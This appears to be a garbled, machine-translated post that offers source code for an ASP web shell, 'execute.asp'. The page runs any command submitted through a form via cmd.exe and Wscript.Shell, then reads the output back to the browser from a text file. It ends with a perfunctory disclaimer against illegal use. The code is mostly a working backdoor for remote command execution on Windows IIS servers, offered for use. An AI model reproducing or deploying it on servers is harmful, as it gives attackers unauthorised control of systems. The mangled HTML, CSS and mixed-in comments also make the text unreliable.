Note that the program must be run with FileSystemObject support. The following is the original code for the Remote execution command.
Copy down to save as execute.asp.
Execute Command
Text-decoration:none}
a:hover{font-family: XXFarEastFont-Color:rgb (255,0,0); text-decoration:none
}
a:visited{Color:rgb (128,0,0)}
-->
Size= "value=" dir c:\ "style=" Background-color: #C0C0C0; Color
#000000; Border-style:solid; Border-width:1 ">
#C0C0C0; Color: #000000; Border:1 Groove #C0C0C0 ">
<%
Ml=request.form ("ml")
Cmd= "c:\winnt\system32\cmd.exe/c" &ml& ">c:\whoami.txt" modified
WhoamI.txt path to a directory with write permissions
Set WshShell = Server.CreateObject ("Wscript.Shell")
RetCode = Wshshell.run (cmd, 1, True)
If RetCode = 0 Then
Response.Write ml & ""
Response.Write "Command executed successfully! "&"
Else
Response.Write Command Execution failed! Insufficient permissions or the program cannot run in DOS
! "&"
End If
' Response.Write cmd
function HTMLEncode (str)
Dim result
Dim l
If IsNULL (str) Then
Htmlencode= ""
Exit function
End If
L=len (str)
Result= ""
Dim i
For i = 1 to L
Select Case Mid (str,i,1)
Case ""
"Result=result+"
Case ">"
Result=result+ ">"
Case Chr (34)
result=result+ "" "
Case "&"
result=result+ "&"
Case Else
Result=result+mid (str,i,1)
End Select
Next
Htmlencode=result
End Function
Set FS =createobject ("Scripting.FileSystemObject")
Set thisfile = fs. OpenTextFile ("C:/whoami.txt", 1, False) read the file, don't forget
The modified path.
Counter=0
Do as not Thisfile.atendofstream
Counter=counter+1
Thisline=htmlencode (Thisfile.readline)
Response.Write thisline& "
"
Loop
Thisfile. Close
Set fs=nothing
%>
Do not use this procedure for illegal means, and all consequences arising therefrom shall be borne by the user.